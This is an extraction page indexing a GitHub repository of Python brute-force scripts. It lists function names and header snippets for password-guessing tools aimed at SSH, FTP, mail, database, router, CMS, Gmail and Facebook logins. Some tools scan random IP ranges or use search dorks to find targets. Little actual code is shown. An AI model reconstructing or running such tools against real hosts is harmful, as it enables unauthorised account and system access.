  class Workhorse (line 65) | class Workhorse(threading.Thread):
    method run (line 67) | def run(self):

FILE: smtpbrute_random.py
  function scan (line 34) | def scan():
  function reloader (line 43) | def reloader():
  function getword (line 47) | def getword():
  class Workhorse (line 62) | class Workhorse(threading.Thread):
    method run (line 64) | def run(self):

FILE: snmp_brute.py
  function timer (line 16) | def timer():
  function title (line 20) | def title():
  function scan (line 24) | def scan(option):
  function brute (line 35) | def brute(ip):
  class Worker (line 53) | class Worker(threading.Thread):
    method run (line 54) | def run(self):

FILE: sshbrute.py
  function brute (line 15) | def brute(word):

FILE: sshbrute_fork.py
  function brute (line 17) | def brute(word):
  function getword (line 35) | def getword():

FILE: sshbrute_iprange.py
  function scan (line 26) | def scan():
  function brute (line 36) | def brute(ip, word):

FILE: sshbrute_random.py
  function scan (line 25) | def scan():
  function brute (line 32) | def brute(ip, word):

FILE: telnetbrute.py
  function reloader (line 33) | def reloader():
  function getword (line 37) | def getword():
  class Worker (line 56) | class Worker(threading.Thread):
    method run (line 58) | def run(self):

FILE: telnetbrute_iprange.py
  function scan (line 33) | def scan():
  function reloader (line 46) | def reloader():
  function getword (line 50) | def getword():
  class Workhorse (line 64) | class Workhorse(threading.Thread):
    method run (line 66) | def run(self):

FILE: telnetbrute_random.py
  function scan (line 33) | def scan():
  function reloader (line 42) | def reloader():
  function getword (line 46) | def getword():
  class Workhorse (line 61) | class Workhorse(threading.Thread):
    method run (line 63) | def run(self):

FILE: webauthbrute.py
  function reloader (line 28) | def reloader():
  function getword (line 32) | def getword():
  function getauth (line 50) | def getauth(url):
  class Worker (line 74) | class Worker(threading.Thread):
    method run (line 76) | def run(self):

FILE: webauthbrute_random_usersupport.py
  function geturls (line 32) | def geturls(url):
  function StripTags (line 44) | def StripTags(text):
  function getusers (line 56) | def getusers(domain):
  function reloader (line 102) | def reloader():
  function getword (line 106) | def getword():
  function getauth (line 124) | def getauth(site, users):
  function threader (line 162) | def threader(site):
  function giddyup (line 193) | def giddyup(start):

FILE: webminbrute.py
  function reloader (line 44) | def reloader():
  function getword (line 48) | def getword():
  class Worker (line 63) | class Worker(threading.Thread):
    method run (line 65) | def run(self):
Condensed preview — 47 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (128K chars).
[
  {
    "path": ".gitattributes",
    "chars": 483,
    "preview": "# Auto detect text files and perform LF normalization\n* text=auto\n\n# Custom for Visual Studio\n*.cs     diff=csharp\n*.sln"
  },
  {
    "path": ".gitignore",
    "chars": 1970,
    "preview": "#################\n## Eclipse\n#################\n\n*.pydevproject\n.project\n.metadata\nbin/\ntmp/\n*.tmp\n*.bak\n*.swp\n*~.nib\nloc"
  },
  {
    "path": "README.md",
    "chars": 254,
    "preview": "bruteforce_py\n=============\n\nAll codes in this repo are not mine, last time I used this code for playing <br/>\nall brute"
  },
  {
    "path": "accbrute.py",
    "chars": 1261,
    "preview": "#!/usr/bin/python\n#Local Account BruteForcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport sys, pwd\ntry:\n\t"
  },
  {
    "path": "b2evobf.py",
    "chars": 2405,
    "preview": "#!/usr/bin/python \n#b2evolution Brute Force (login.php) \n \n#Change response on line 90 if needed. (language) \n \n#Dork: i"
  },
  {
    "path": "cPanelbrute.py",
    "chars": 3260,
    "preview": "#!usr/bin/python\n#cPanel BruteForcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random,"
  },
  {
    "path": "diggbf.py",
    "chars": 2201,
    "preview": "#!/usr/bin/python\n#Digg.com Login BruteForcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com \n\nimport urllib2, sys,"
  },
  {
    "path": "dnsbrute.py",
    "chars": 1371,
    "preview": "#!usr/bin/python\n#DNS Brute Forcer, uses wordlist to find subdomains.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com"
  },
  {
    "path": "facebookbruteforcer.py",
    "chars": 8228,
    "preview": "#!/usr/bin/python\n# This is facebook bruteforcer tools\n# This was written for educational purpose and pentest only. Use "
  },
  {
    "path": "friendsterbf.py",
    "chars": 2543,
    "preview": "#!/usr/bin/python\n#Friendster.com Login BruteForcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com \n\nimport urllib2"
  },
  {
    "path": "ftpbrute.py",
    "chars": 2056,
    "preview": "#!usr/bin/python\n#Ftp Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, s"
  },
  {
    "path": "ftpbrute_iprange.py",
    "chars": 2429,
    "preview": "#!usr/bin/python\n#Ftp Brute Forcer, searches ip_range for hosts using ftp.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[do"
  },
  {
    "path": "ftpbrute_random.py",
    "chars": 4089,
    "preview": "#!usr/bin/python\n#Uses nmap or socket to check if ftp is open on a random ip. If\n#the server is found it will check for "
  },
  {
    "path": "ftpbrute_random1.0.py",
    "chars": 2508,
    "preview": "#!usr/bin/python\n#Uses nmap to check if ftp port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]gm"
  },
  {
    "path": "gmailbrute.py",
    "chars": 2738,
    "preview": "#!usr/bin/python\n#Gmail Brute Forcer\n#To use this script you need ClientCookie and Client Form.\n#http://wwwsearch.source"
  },
  {
    "path": "gmailpopbrute.py",
    "chars": 2510,
    "preview": "#!usr/bin/python\n#Gmail Pop3 Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, ra"
  },
  {
    "path": "imapbrute.py",
    "chars": 1766,
    "preview": "#!usr/bin/python\n#IMAP Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, "
  },
  {
    "path": "imapbrute_iprange.py",
    "chars": 2145,
    "preview": "#!usr/bin/python\n#IMAP Brute Forcer, searches ip_range for hosts using imap.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail["
  },
  {
    "path": "imapbrute_random.py",
    "chars": 2183,
    "preview": "#!usr/bin/python\n#Uses nmap to check if imap port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]g"
  },
  {
    "path": "linksysbrute.py",
    "chars": 2097,
    "preview": "#!usr/bin/python\n#Linksys WRT54G router brute force\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading"
  },
  {
    "path": "locbrute.py",
    "chars": 949,
    "preview": "#!/usr/bin/python\n#Local account brute forcer.\n#(You need to be able to read shadow file)\n\n#http://www.darkc0de.com\n#d3h"
  },
  {
    "path": "mysqlbrute.py",
    "chars": 2035,
    "preview": "#!usr/bin/python\n#MySQL Brute Forcer\n#You need the MySQLdb package found here:\n#http://sourceforge.net/projects/mysql-py"
  },
  {
    "path": "mysqlbrute_iprange.py",
    "chars": 2303,
    "preview": "#!usr/bin/python\n#MySQL Brute Forcer, searches ip_range for hosts using MySQL.\n#You need the MySQLdb package found here:"
  },
  {
    "path": "mysqlbrute_random.py",
    "chars": 2182,
    "preview": "#!usr/bin/python\n#Uses nmap to check if MySQL port is open, brute forces if it is.\n#You need the MySQLdb package found h"
  },
  {
    "path": "nntpbrute.py",
    "chars": 1950,
    "preview": "#!usr/bin/python\n#NNTP Brute Forcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random,"
  },
  {
    "path": "nntpbrute_iprange.py",
    "chars": 2287,
    "preview": "#!usr/bin/python\n#NNTP Brute Forcer, searches ip_range for hosts using nntp.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail["
  },
  {
    "path": "nntpbrute_random.py",
    "chars": 2340,
    "preview": "#!usr/bin/python\n#Uses nmap to check if NNTP port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]g"
  },
  {
    "path": "popbrute.py",
    "chars": 1825,
    "preview": "#!usr/bin/python\n#Pop3 Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, "
  },
  {
    "path": "popbrute_iprange.py",
    "chars": 2273,
    "preview": "#!usr/bin/python\n#Pop3 Brute Forcer, searches ip_range for hosts using pop3.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail["
  },
  {
    "path": "popbrute_random.py",
    "chars": 2417,
    "preview": "#!usr/bin/python\n#Uses nmap to check if pop3 port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]g"
  },
  {
    "path": "rootbrute.py",
    "chars": 1136,
    "preview": "#!/usr/bin/python \n#Local Root BruteForcer \n\n#More Info: http://forum.darkc0de.com/index.php?action=vthread&forum=8&topi"
  },
  {
    "path": "serenbf.py",
    "chars": 1418,
    "preview": "#!/usr/bin/python\n#Serendipity Brute Force (serendipity_admin.php) POC\n\n#Dork: \"Powered by Serendipity\" inurl:serendipit"
  },
  {
    "path": "smtpbrute.py",
    "chars": 1933,
    "preview": "#!usr/bin/python\n#Smtp Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, "
  },
  {
    "path": "smtpbrute_iprange.py",
    "chars": 2351,
    "preview": "#!usr/bin/python\n#Smtp Brute Forcer, searches ip_range for hosts using smtp.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail["
  },
  {
    "path": "smtpbrute_random.py",
    "chars": 2419,
    "preview": "#!usr/bin/python\n#Uses nmap to check if smtp port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]g"
  },
  {
    "path": "snmp_brute.py",
    "chars": 4297,
    "preview": "#!usr/bin/python\n#Uses nmap to check if snmp port is open then uses snmpwalk to try and bruteforce\n#the community name.\n"
  },
  {
    "path": "sshbrute.py",
    "chars": 1327,
    "preview": "#!/usr/bin/python\n#SSH BruteForcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport sys, time\ntry:\n\timport pe"
  },
  {
    "path": "sshbrute_fork.py",
    "chars": 2011,
    "preview": "#!/usr/bin/python\n#SSH BruteForcer using fork to \n#split the processes and the wordlist\n#for faster results.\n\n#http://ww"
  },
  {
    "path": "sshbrute_iprange.py",
    "chars": 2354,
    "preview": "#!/usr/bin/python\n#SSH BruteForcer that scans an ip range for \n#open ssh ports using nmap and then brute \n#forces them.\n"
  },
  {
    "path": "sshbrute_random.py",
    "chars": 2177,
    "preview": "#!/usr/bin/python\n#SSH BruteForcer that scans for random\n#open ssh ports using nmap and then brute \n#forces them.\n\n#http"
  },
  {
    "path": "telnetbrute.py",
    "chars": 1801,
    "preview": "#!usr/bin/python\n#Telnet Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random"
  },
  {
    "path": "telnetbrute_iprange.py",
    "chars": 2187,
    "preview": "#!usr/bin/python\n#Telnet Brute Forcer, searches ip_range for hosts using telnet.\n#http://www.darkc0de.com\n#d3hydr8[at]gm"
  },
  {
    "path": "telnetbrute_random.py",
    "chars": 2222,
    "preview": "#!usr/bin/python\n#Uses nmap to check if telnet port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at"
  },
  {
    "path": "webauthbrute.py",
    "chars": 2919,
    "preview": "#!usr/bin/python\n#Pop-up Basic Authentication Brute Forcer\n#Not fully tested, encourage feedback.\n#http://www.darkc0de.c"
  },
  {
    "path": "webauthbrute_random_usersupport.py",
    "chars": 7376,
    "preview": "#!usr/bin/python\n#Pop-up Basic Authentication Random Brute Forcer + user loopup\n#It will scan for 401 authentication, co"
  },
  {
    "path": "webminbrute.py",
    "chars": 3252,
    "preview": "#!usr/bin/python\n#Webmin Brute Forcer\n#To use this script you need ClientCookie and Client Form.\n#http://wwwsearch.sourc"
  },
  {
    "path": "wordpressbf.py",
    "chars": 2559,
    "preview": "#!/usr/bin/python\n#WordPress Brute Force (wp-login.php)\n\n#If cookies enabled brute force will not work (yet)\n#Change res"
  }
]

About this extraction

This page contains the full source code of the rischanlab/bruteforce_py GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 47 files (110.2 KB), approximately 35.2k tokens, and a symbol index with 164 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!